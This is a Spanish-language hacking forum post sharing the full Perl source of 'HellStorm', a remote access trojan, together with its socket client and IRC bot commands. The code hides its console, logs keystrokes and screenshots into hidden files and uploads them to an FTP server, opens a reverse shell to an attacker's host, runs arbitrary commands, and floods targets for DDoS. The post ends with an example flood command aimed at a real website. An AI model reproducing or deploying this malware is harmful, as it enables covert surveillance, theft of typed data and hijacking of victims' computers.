[Perl] Proyecto HellStorm
Publicado: 10 Mar 2012, 03:14
Hola a todos.
Aca les traigo mi ultimo proyecto en perl , este se llama HellStorm es un
troyano completo en perl , completo en lo que abarca a mis necesidades ,
este troyano se maneja de dos formas con sockets o conectado a un canal irc
Para el uso de sockets traigo un cliente para usarlo y si quieren usarlo por
canal irc les doy los comandos.
[++] Opciones del troyano
[+] Navegador de archivos : borrar,renombrar
[+] Da informacion sobre la computadora
[+] Abrir y cerrar CD
[+] Ocultar y mostrar barra de inicio o iconos del escritorio
[+] Hacer hablar a la computadora para que diga lo que queramos
[+] Mandar mensajitos
[+] Consola de comandos
[+] Administracion de procesos
[+] ReverseShell
[+] Cambiar fondo de escritorio
[+] Mover mouse
[+] Cargar word para que escriba solo
[+] DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
[+] Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP
Codigo del servidor
Cliente para uso de sockets
Para la parte de IRC el troyano funciona conectandose al canal indicado con su ip codificada
, para poder mandarle comandos al bot solo ponen el nombre y el comando , un ejemplo seria
Y devuelve los comandos disponibles
Si quieren hacer un ataque DDOS teniendo muchos remotos pueden hacer asi
Com ven no hace falta el nombre del remoto porque de esa forma estariamos llamandolos a
todos xDDDDD
Cualquier sugerencia o mal concepto lo dicen ...........
Aca les traigo mi ultimo proyecto en perl , este se llama HellStorm es un
troyano completo en perl , completo en lo que abarca a mis necesidades ,
este troyano se maneja de dos formas con sockets o conectado a un canal irc
Para el uso de sockets traigo un cliente para usarlo y si quieren usarlo por
canal irc les doy los comandos.
[++] Opciones del troyano
[+] Navegador de archivos : borrar,renombrar
[+] Da informacion sobre la computadora
[+] Abrir y cerrar CD
[+] Ocultar y mostrar barra de inicio o iconos del escritorio
[+] Hacer hablar a la computadora para que diga lo que queramos
[+] Mandar mensajitos
[+] Consola de comandos
[+] Administracion de procesos
[+] ReverseShell
[+] Cambiar fondo de escritorio
[+] Mover mouse
[+] Cargar word para que escriba solo
[+] DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
[+] Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP
Codigo del servidor
Código: Seleccionar todo
#!usr/bin/perl
#Hell Storm Version 1.0
#(c) Doddy Hackman 2011
use Win32::OLE;
use Win32::OLE qw(in);
use Win32::Process;
use Win32;
use Win32::API;
use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
use IO::Socket;
use Win32::Job;
use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);
#Escondemos la consola
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
#Datos para el servidor FTP con los datos del keylogger
my $host_ftp = "localhost";
my $user_ftp = "doddy";
my $pass_ftp = "123";
#Datos para el server IRC
my $host_irc = "localhost";
my $canal_irc = "#locos";
my $port_irc = "6667";
my $nick_irc = dameip();
#Options#######################################
#Comentar opciones no deseadas
my $comando4 = threads->new(\&conexion_directa);
my $comando5 = threads->new(\&keylogger);
my $comando6 = threads->new(\&ircnow);
$comando4->join();
$comando5->join();
$comando6->join();
###############################################
sub ircnow {
my $soquete = new IO::Socket::INET(
PeerAddr => $host_irc,
PeerPort => $port_irc,
Proto => "tcp"
);
print $soquete "NICK $nick_irc\r\n";
print $soquete "USER $nick_irc 1 1 1 1\r\n";
print $soquete "JOIN $canal_irc\r\n";
while (my $logar = <$soquete> ) {
print "\r\n";
chomp($logar);
if ($logar =~ /^PING(.*)$/i){
print $soquete "PONG $1\r\n";
}
if($logar=~/:$nick_irc help/g) {
my @commands = ("msgbox <>","getinfo","cmd <>","dir","cd <>","del <>","rename :<>:<>:",
"cwd","verlogs","word :<>:","crazymouse","cambiarfondo :<>:","opencd","closedcd",
"dosattack :<>:<>:<>:","speak :<>:","iniciochau","iniciovuelve","iconochau",
"iconovuelve","backshell :<>:<>:","procesos","cerrarproceso :<>:<>:");
print $soquete "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
for(@commands) {
print $soquete "PRIVMSG $canal_irc : ".$_."\r\n";
}
}
if($logar=~/:$nick_irc msgbox (.*)/g) {
my $msg = $1;
chomp $msg;
cheats("mensaje",$msg);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc getinfo/g) {
my $re = getinfo();
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
print $soquete "PRIVMSG $canal_irc : [Dominio] : $1\r\n";
print $soquete "PRIVMSG $canal_irc : [Chip] : $2\r\n";
print $soquete "PRIVMSG $canal_irc : [Version] : $3\r\n";
print $soquete "PRIVMSG $canal_irc : [Nombre] : $4\r\n";
print $soquete "PRIVMSG $canal_irc : [OS] : $5\r\n";
}}
if ($logar=~/:$nick_irc cmd (.*)/) {
my $cmda = $1;
chomp $cmda;
my @re = cmd($cmda);
for(@re) {
print $soquete "PRIVMSG $canal_irc : $_\r\n";
}
}
if ($logar=~/:$nick_irc dir/) {
my @files = navegador("listar");
for(@files) {
if (-f $_) {
print $soquete "PRIVMSG $canal_irc : [File] : ".$_."\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [Directory] : ".$_."\r\n";
}}}
if ($logar=~/:$nick_irc cd (.*)/) {
my $di = $1;
chomp $di;
if (navegador("cd",$di)) {
print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}
}
if ($logar=~/:$nick_irc del (.*)/) {
my $file = $1;
chomp $file;
if (navegador("borrar",$1)) {
print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}}
if ($logar=~/:$nick_irc rename :(.*):(.*):/) {
my ($a,$b) = ($1,$2);
if (navegador("rename",$a,$b)) {
print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
} else {
print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
}}
if ($logar=~/:$nick_irc cwd/) {
print $soquete "PRIVMSG $canal_irc : [+] Directory : ".getcwd()."\r\n";
}
if ($logar=~/:$nick_irc verlogs/) {
print $soquete "PRIVMSG $canal_irc : [+] LOgs\r\n";
my @word = openfilex("logs.txt");
for(@word) {
sleep 3;
print $soquete "PRIVMSG $canal_irc : ".$_."\r\n";
}}
if ($logar=~/:$nick_irc word :(.*):/ig) {
my $msg = $1;
cheats("word",$msg);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc crazymouse/ig) {
cheats("crazymouse");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc cambiarfondo :(.*):/ig) {
my $url = $1;
chomp $url;
cheats("cambiarfondo",$url);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc opencd/ig) {
cheats("cd","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc closedcd/ig) {
cheats("cd","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/dosattack :(.*):(.*):(.*):/) {
my ($i,$p,$t) = ($1,$2,$3);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
dosattack($i,$p,$t);
}
if ($logar=~/:$nick_irc speak :(.*):/ig) {
my $t = $1;
chomp $t;
cheats("speak",$t);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc iniciochau/) {
cheats("inicio","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc iniciovuelve/) {
cheats("inicio","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc iconochau/) {
cheats("iconos","1");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc iconovuelve/) {
cheats("iconos","0");
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc backshell :(.*):(.*):/ig) {
backshell($1,$2);
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}
if ($logar=~/:$nick_irc procesos/) {
my %vida = adminprocess("listar");
print $soquete "PRIVMSG $canal_irc : [+] Process Found : ".int(keys %vida)."\r\n";
for my $data(keys %vida) {
print $soquete "PRIVMSG $canal_irc : [+] Process : ".$data." [+] PID : ".$vida{$data}."\r\n";
}
}
if ($logar=~/:$nick_irc cerrarproceso :(.*):(.*):/) {
my ($b,$a) = ($1,$2);
if (adminprocess("cerrar",$a,$b)) {
print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
}}
}
}
sub conexion_directa {
my $sock = IO::Socket::INET->new(LocalPort => 666,
Listen => 10,
Proto => 'tcp',
Reuse => 1);
while (my $con = $sock->accept){
$resultado = <$con>;
if ($resultado=~/msgbox (.*)/ig) {
my $msg = $1;
cheats("mensaje",$msg);
}
if ($resultado=~/infor/ig) {
print $con getinfo();
}
if ($resultado=~/word :(.*):/ig) {
my $msg = $1;
cheats("word",$msg);
}
if ($resultado=~/crazymouse/ig) {
cheats("crazymouse");
}
if ($resultado=~/cambiarfondo (.*)/ig) {
my $url = $1;
cheats("cambiarfondo",$url);
}
if ($resultado=~/opencd/ig) {
cheats("cd","1");
}
if ($resultado=~/closedcd/ig) {
cheats("cd","0");
}
if ($resultado=~/dosattack :(.*):(.*):(.*):/) {
my ($i,$p,$t) = ($1,$2,$3);
dosattack($i,$p,$t);
}
if ($resultado=~/speak :(.*):/ig) {
my $t = $1;
cheats("speak",$t);
}
if ($resultado=~/iniciochau/) {
cheats("inicio","1");
}
if ($resultado=~/iniciovuelve/) {
cheats("inicio","0");
}
if ($resultado=~/iconochau/) {
cheats("iconos","1");
}
if ($resultado=~/iconovuelve/) {
cheats("iconos","0");
}
if ($resultado=~/backshell :(.*):(.*):/ig) {
backshell($1,$2);
}
if ($resultado=~/comando :(.*):/ig) {
my $cmd = $1;
my @re = cmd($cmd);
print $con @re;
}
if ($resultado=~/mostrarpro/) {
my %vida = adminprocess("listar");
for my $data(keys %vida) {
print $con "PROXEC".$data."PROXEC\r\n";
print $con "PIDX".$vida{$data}."PIDX\r\n";
}
}
if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/) {
my ($b,$a) = ($1,$2);
if (adminprocess("cerrar",$a,$b)) {
print $con "ok";
}
}
if ($resultado=~/chdirnow K0BRA(.*)K0BRA/) { #ok return ok
my $di = $1;
if (navegador("cd",$di)) {
print $con "ok";
}
}
if ($resultado=~/borrarfile K0BRA(.*)K0BRA/) {
if (navegador("borrar",$1)) {
print $con "ok";
}
}
if ($resultado=~/borrardir K0BRA(.*)K0BRA/) {
if (navegador("borrar",$1)) {
print $con "ok";
}
}
if ($resultado=~/rename :(.*):(.*):/) {
my ($a,$b) = ($1,$2);
if (navegador("rename",$a,$b)) {
print $con "ok";
}
}
if ($resultado=~/getcwd/) {
print $con getcwd();
}
if ($resultado=~/verlogs/) {
print $con openfile("logs.txt");
}
if ($resultado=~/dirnow ACATOY(.*)ACATOY/) {
my @files = navegador("listar");
for(@files) {
if (-f $_) {
print $con "FILEX".$_."FILEX"."\r\n";
} else {
print $con "DIREX".$_."DIREX"."\r\n";
}}}}}
sub keylogger {
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
my $tengo = 0;
hideit($0,"hide");
my $comando1 = threads->new(\&capture_windows);
my $comando2 = threads->new(\&capture_keys);
my $comando3 = threads->new(\&capture_screen);
$comando1->join();
$comando2->join();
$comando3->join();
sub capture_windows {
while(1) {
my $win1 = GetForegroundWindow();
my $win2 = GetForegroundWindow();
if($win1 != $win2){
my $nombre = GetWindowText($win1);
chomp($nombre);
if ($nombre ne "") {
#print "\n\n[".$nombre."]\n\n";
savefile("logs.txt","\n\n[".$nombre."]\n\n");
}
}
}
return 1;
}
sub capture_keys {
while(1) {
my $test1;
my $test2;
for my $num(0x30..0x39) { #Numbers
if (dame($num)) {
#print "number : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
}
if (dame(0x14)) {
$test1 = 1;
$tengo++;
}
for my $num(0x41..0x5A) { #Words
if (dame($num)) {
if (dame(0x20)) {
savefile("logs.txt"," ");
}
if (dame(0x32)) {
savefile("logs.txt","\n[enter]\n\n");
}
unless (verpar($tengo) eq 1) {
#print "MAYUSCULA : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
#print "MAYUSCULA : ".chr($num)."\n";
$test2 = 1;
}
unless ($test1 eq 1 or $test2 eq 1) {
if ($num >= 0x41) {
if ($num <= 0x5A) {
if (verpar($tengo) eq 1) {
#print "MINUSCULA : ".chr($num+32)."\n";
savefile("logs.txt",chr($num+32));
}
}
}
}
}
}
}
return 1;
}
sub capture_screen {
$numero = 0;
while(1) {
sleep 120;
subirftp("logs.txt","logs.txt");
$numero++;
SendKeys("%{PRTSCR}");
my $a = Win32::Clipboard::GetBitmap();
open (FOTO,">".$numero.".bmp");
binmode(FOTO);
print FOTO $a;
close FOTO;
hideit($numero.".bmp","hide");
subirftp($numero.".bmp",$numero.".bmp");
}
}
sub dame {
return($come->Call(@_) & 1);
}
sub savefile {
open (SAVE,">>".$_[0]);
print SAVE $_[1];
close SAVE;
hideit($_[0],"hide");
}
sub hideit {
if ($_[1] eq "show") {
Win32::File::SetAttributes($_[0],NORMAL);
}
elsif ($_[1] eq "hide") {
Win32::File::SetAttributes($_[0],HIDDEN);
}
else {
print "error\n";
}
}
sub subirftp {
if ($ser = Net::FTP->new($host_ftp)) {
if ($ser->login($user_ftp,$pass_ftp)) {
$ser->mkdir(getmyip());
$ser->binary();
if ($ser->put(getcwd()."/".$_[0],getmyip()."/".$_[1])) {
return true;}}
$ser->close;
}}
sub verpar {
return ($_[0] % 2 == 0) ? "1" : "2";
}
sub getmyip {
my $get = gethostbyname("");
return inet_ntoa($get);
}
}
sub getinfo {
return ":".Win32::DomainName().":".Win32::GetChipName().":".Win32::GetOSVersion().":".
Win32::LoginName().":".Win32::GetOSName().":";
}
sub cheats {
my $as = new Win32::API('user32', 'FindWindow', 'PP', 'N');
my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
if ($_[0] eq "cambiarfondo") {
my $file = $_[1];
my $as = new Win32::API("user32","SystemParametersInfo", [L,L,P,L],L);
$as->Call(20,0,$file,0);
}
if ($_[0] eq "speak") {
my $texta = $_[1];
my $hablax = Win32::OLE->new("SAPI.SpVoice");
$hablax->Speak($texta,0);
}
if ($_[0] eq "crazymouse") {
for my $number(1..666) {
MouseMoveAbsPix($number,$number);
}
}
if ($_[0] eq "word") {
my $text = $_[1];
system("start winword.exe");
sleep 4;
SendKeys($text);
}
if ($_[0] eq "cd") {
my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
my $rta = ' ' x 127;
if ($_[1] eq "1") {
$ventana->Call('set CDAudio door open', $rta, 127, 0);
} else {
$ventana->Call('set CDAudio door closed', $rta, 127, 0);
}
}
if ($_[0] eq "inicio") {
if ($_[1] eq "1") {
$handlex = $as->Call("Shell_TrayWnd",0);
$b->Call($handlex,0);
} else {
$handlex = $as->Call("Shell_TrayWnd",0);
$b->Call($handlex,1);
}
}
if ($_[0] eq "iconos") {
if ($_[1] eq "1") {
$handle = $as->Call(0,"Program Manager");
$b->Call($handle,0);
} else {
$handle = $as->Call(0,"Program Manager");
$b->Call($handle,1);
}
}
if ($_[0] eq "mensaje") {
if ($_[1] ne "") {
my $msg = $_[1];
chomp $msg;
Win32::MsgBox($msg,0,"Mensaje de Dios");
}
}
}
sub backshell {
my ($ip,$port) = ($_[0],$_[1]);
$ip =~s/(\s)+$//;
$port =~s/(\s)+$//;
conectar($ip,$port);
tipo();
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}
sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n\n";
}
}
sub cmd {
my $job = Win32::Job->new;
$job->spawn("cmd",qq{cmd /C $_[0]},{
no_window => "true",
stdout => "logx.txt",
stderr => "logx.txt"
}
);
$ok = $job->run("30");
open (F,"logx.txt");
@words = <F>;
close F;
unlink("logx.txt");
return @words;
}
sub adminprocess {
if ($_[0] eq "listar") {
my %procesos;
my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
my $dos = $uno->ConnectServer("","root\\cimv2");
foreach my $pro (in $dos->InstancesOf("Win32_Process")){
$procesos{$pro->{Caption}} = $pro->{ProcessId};
}
return %procesos;
}
if ($_[0] eq "cerrar") {
my ($numb,$pid) = ($_[1],$_[2]);
if (Win32::Process::KillProcess($pid,$numb)) {
return true;
} else {
return false;
}
}
}
sub navegador {
my $dir = $_[1];
chomp $dir;
$dir =~s/(\s)+$//;
if ($_[0] eq "borrar") {
if (-f $_[1]) {
if (unlink(getcwd()."/".$_[1])) {
return true;
} else {
return false;
}
} else {
if (rmdir(getcwd()."/".$_[1])) {
return true;
} else {
return false;
}}}
if ($_[0] eq "cd") {
if (chdir $dir) {
return true;
} else {
return false;
}
}
if ($_[0] eq "rename") {
if (rename(getcwd()."/".$_[1],getcwd()."/".$_[2])) {
return true;
} else {
return false;
}}
if ($_[0] eq "listar") {
my @archivos = coleccionar(getcwd());
my @all;
for my $test(@archivos) {
push(@all,$test);
}
return @all;
}
sub coleccionar {
opendir DIR,$_[0];
my @archivos = readdir DIR;
close DIR;
return @archivos;
}
}
sub dosattack {
for(1..$_[2]) {
IO::Socket::INET->new(
PeerAddr => $_[0],
PeerPort => $_[1],
Proto => "tcp");
}
}
sub openfile {
my $r;
open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
for(@wor) {
$r.= $_;
}
return $r;
}
sub openfilex {
my @wor;
open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
return @wor;
}
sub encriptar {
my ($text,$op) = @_;
my @re;
my @va = split("",$text);
my %valor = ("1"=>"a","2"=>"b","3"=>"c","4"=>"d","5"=>"e","6"=>"f","7"=>"g",
"8"=>"h","9"=>"i","0"=>"j","."=>"k");
if ($op eq "encode") {
for my $letra(@va) {
for my $data(keys %valor) {
if ($data eq $letra) {
$letra=~s/$data/$valor{$data}/g;
push(@re,$letra);
}}}}
if ($op eq "decode") {
for my $letra(@va) {
for my $data(keys %valor) {
if ($valor{$data} eq $letra) {
$letra=~s/$valor{$data}/$data/g;
push(@re,$letra);
}}}}
return @re;
}
sub dameip {
my @wor = encriptar(getmyip(),"encode");
for(@wor) {
$resultado.= $_;
}
return $resultado;
}
# ¿ The End ?
Código: Seleccionar todo
#!usr/bin/perl
#HellStorm 1.0 (C) Doddy Hackman 2011
use IO::Socket;
use Cwd;
&menu;
sub head {
system 'cls';
print "\n\n-- == HellStorm 1.0 (C) Doddy Hackman 2011 == --\n\n\n";
}
sub menu {
&head;
print "[Target] : ";
chomp(my $ip = <STDIN>);
my $socket = new IO::Socket::INET(
PeerAddr => $ip,
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
if ($socket) {
$socket->close;
&menuo($ip);
} else {
print "\n\n[-] Target no infectado\n";
<STDIN>;
&menu;
}
}
sub menuo {
&head;
print "[$_[0]] : Servidor Activado\n\n";
print q(
1 : Informacion
2 : Navegador
3 : Abrir CD
4 : Cerrar CD
5 : Hablar
6 : Mensaje
7 : CMD
8 : Esconder barra de tareas
9 : Devolver barra de tareas
10 : Esconder iconos
11 : Devolver iconos
12 : Administrar procesos
13 : Reverse Shell
14 : Cambiar IP
15 : Cambiar Pantalla
16 : Escribir en Word
17 : Mouse Loko
18 : Ver logs keylogger
19 : Dos Attack
20 : Salir
);
print "[Opcion] : ";
chomp(my $opcion = <STDIN>);
if ($opcion eq 1) {
print "\n\n[+] Informacion\n\n";
$re = daryrecibir($_[0],"infor");
if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) {
print "[Dominio] : $1\n";
print "[Chip] : $2\n";
print "[Version] : $3\n";
print "[Nombre] : $4\n";
print "[OS] : $5\n";
<stdin>;
}
&menuo($_[0]);
}
elsif ($opcion eq 2) {
menu1:
print "\n\n[+] Navegacion de archivos\n\n";
$cwd = daryrecibir($_[0],"getcwd"."\r\n");
show($_[0],"/");
&menu2;
sub menu2 {
print "\n\n[Opciones]\n\n";
print "1 - Cambiar directorio\n";
print "2 - Renombrar\n";
print "3 - Borrar archivo\n";
print "4 - Borrar directorio\n";
print "5 - Volver al menu inicial\n\n";
print "[Opcion] : ";
chomp(my $op = <stdin>);
if ($op eq 1) {
print "\n\n[+] Directorio : ";
chomp (my $dir=<stdin>);
$ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
if ($ver=~/ok/ig) {
print "\n\n[+] Directory changed\n\n";
} else {
print "\n\n[-] Error\n\n";
<stdin>;
}
show($_[0],$dir);
&menu2;
<stdin>;
}
elsif ($op eq 2) {
print "\n\n[Nombre] : ";
chomp(my $old = <stdin>);
print "\n\n[Nuevo nombre] : ";
chomp(my $new = <stdin>);
$re = daryrecibir($_[0],"rename :$old:$new:");
if ($re=~/ok/) {
print "\n\n[+] Archivo renombrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}
elsif ($op eq 3) {
print "\n\n[Archivo a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Archivo Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}
elsif ($op eq 4) {
print "\n\n[Directorio a borrar] : ";
chomp(my $file = <stdin>);
$re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
if ($re=~/ok/) {
print "\n\n[+] Directorio Borrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
}
elsif ($op eq 5) {
&menuo($_[0]);
}
else {
show($_[0],"/");
}
goto menu1;
}
}
elsif ($opcion eq 3) {
daryrecibir($_[0],"opencd");
&menuo($_[0]);
}
elsif ($opcion eq 4) {
daryrecibir($_[0],"closedcd");
&menuo($_[0]);
}
elsif ($opcion eq 5) {
print "\n\n[+] Decir : ";
chomp(my $talk = <stdin>);
$re = daryrecibir($_[0],"speak :$talk:");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 6) {
print "\n[Mensaje] : ";
chomp (my $msg = <stdin>);
daryrecibir($_[0],"msgbox $msg");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 7) {
menu:
my $cmd,$re;
print "\n\n>";
chomp(my $cmd= <stdin>);
if ($cmd=~/exit/ig) {
&menuo($_[0]);
}
$re = daryrecibir($_[0],"comando :$cmd:");
print "\n".$re;
goto menu;
&menuo($_[0]);
}
elsif ($opcion eq 8) {
daryrecibir($_[0],"iniciochau");
&menuo($_[0]);
}
elsif ($opcion eq 9) {
daryrecibir($_[0],"iniciovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 10) {
daryrecibir($_[0],"iconochau");
&menuo($_[0]);
}
elsif ($opcion eq 11) {
daryrecibir($_[0],"iconovuelve");
&menuo($_[0]);
}
elsif ($opcion eq 12) {
&reload($_[0]);
sub reload {
my @pro;
my @pids;
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
print $sockex "mostrarpro"."\r\n";
$sockex->read($re,5000);
$sockex->close;
chomp $re;
print "\n\n[+] Procesos encontrados\n\n";
while ($re=~/PROXEC(.*?)PROXEC/ig) {
if ($1 ne "") {
push(@pro,$1);
}
}
while ($re=~/PIDX(.*?)PIDX/ig) {
if ($1 ne "") {
push(@pids,$1);
}
}
$cantidad = int(@pro);
for my $num(1..$cantidad) {
if ($pro[$num] ne "") {
print "\n[+] Proceso : ".$pro[$num]."\n";
print "[+] PIDS : ".$pids[$num]."\n";
}
}
print q(
[Opciones]
1 - Refrescar lista
2 - Cerrar procesos
3 - Volver al menu
);
print "\n[Opcion] : ";
chomp(my $opc = <stdin>);
if ($opc=~/1/ig) {
&reload($_[0]);
}
elsif($opc=~/2/ig) {
print "\n[+] Write the name of the process : ";
chomp(my $numb = <stdin>);
print "\n[+] Write the PID of the process : ";
chomp(my $pid = <stdin>);
$re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
if ($re=~/ok/ig) {
print "\n\n[+] Proceso cerrado\n\n";
} else {
print "\n\n[-] Error\n\n";
}
<stdin>;
&reload($_[0]);
}
elsif($opc=~/3/ig) {
&menuo($_[0]);
}
else {
&reload;
}
}
}
elsif ($opcion eq 13) {
print "\n\n[IP] : ";
chomp(my $ip = <stdin>);
print "\n\n[Port] : ";
chomp(my $port = <stdin>);
print "\n\n[+] Connected !!!\n\n";
$re = daryrecibir($_[0],"backshell :$ip:$port:");
}
elsif ($opcion eq 14) {
&menu;
}
elsif ($opcion eq 15) {
print "\n\n[+] Imagen BMP : ";
chomp(my $id = <stdin>);
daryrecibir($_[0],"cambiarfondo $id");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 16) {
print "\n\n[+] Texto : ";
chomp(my $tx=<stdin>);
daryrecibir($_[0],"word :$tx:");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 17) {
daryrecibir($_[0],"crazymouse");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 18) {
print "\n\n[Logs]\n\n";
$re = daryrecibir($_[0],"verlogs");
print $re."\n\n";
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 19) {
print "\n\n[IP] : ";
chomp(my $ipx =<stdin>);
print "\n\n[Port] : ";
chomp(my $por = <stdin>);
print "\n\n[Count] : ";
chomp(my $count = <stdin>);
print "\n\n[+] Command Send !!!!\n\n";
daryrecibir($_[0],"dosattack :$ipx:$por:$count:");
<stdin>;
&menuo($_[0]);
}
elsif ($opcion eq 20) {
exit 1;
}
else {
&menuo;
}
}
sub daryrecibir {
my $sockex = new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => 666,
Proto => 'tcp',
Timeout => 5
);
print $sockex $_[1]."\r\n";
$sockex->read($re,5000);
$sockex->close;
return $re."\r";
}
sub show {
my $re = daryrecibir($_[0],"getcwd"."\r\n");
print "\n\n[+] Directorio Actual : $re\n\n";
$re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
print "\n\n[Directorios]\n\n";
while ($re1=~/DIREX(.*?)DIREX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
print "\n\n[Archivos]\n\n";
while ($re1=~/FILEX(.*?)FILEX/ig) {
if ($1 ne "") {
print "[+] $1\n";
}
}
}
#
# ¿ The End ?
#
, para poder mandarle comandos al bot solo ponen el nombre y el comando , un ejemplo seria
Código: Seleccionar todo
<nombre> help
Código: Seleccionar todo
msgbox <>
getinfo
cmd <>
dir
cd <>
del <>
rename :<>:<>:
cwd
verlogs
word :<>:
crazymouse
cambiarfondo :<>:
opencd
closedcd
dosattack :<>:<>:<>:
speak :<>:
iniciochau
iniciovuelve
iconochau
iconovuelve
backshell :<>:<>:
procesos
cerrarproceso :<>:<>:
Código: Seleccionar todo
dosattack www.google.com.ar 80 9999999999999
todos xDDDDD
Cualquier sugerencia o mal concepto lo dicen ...........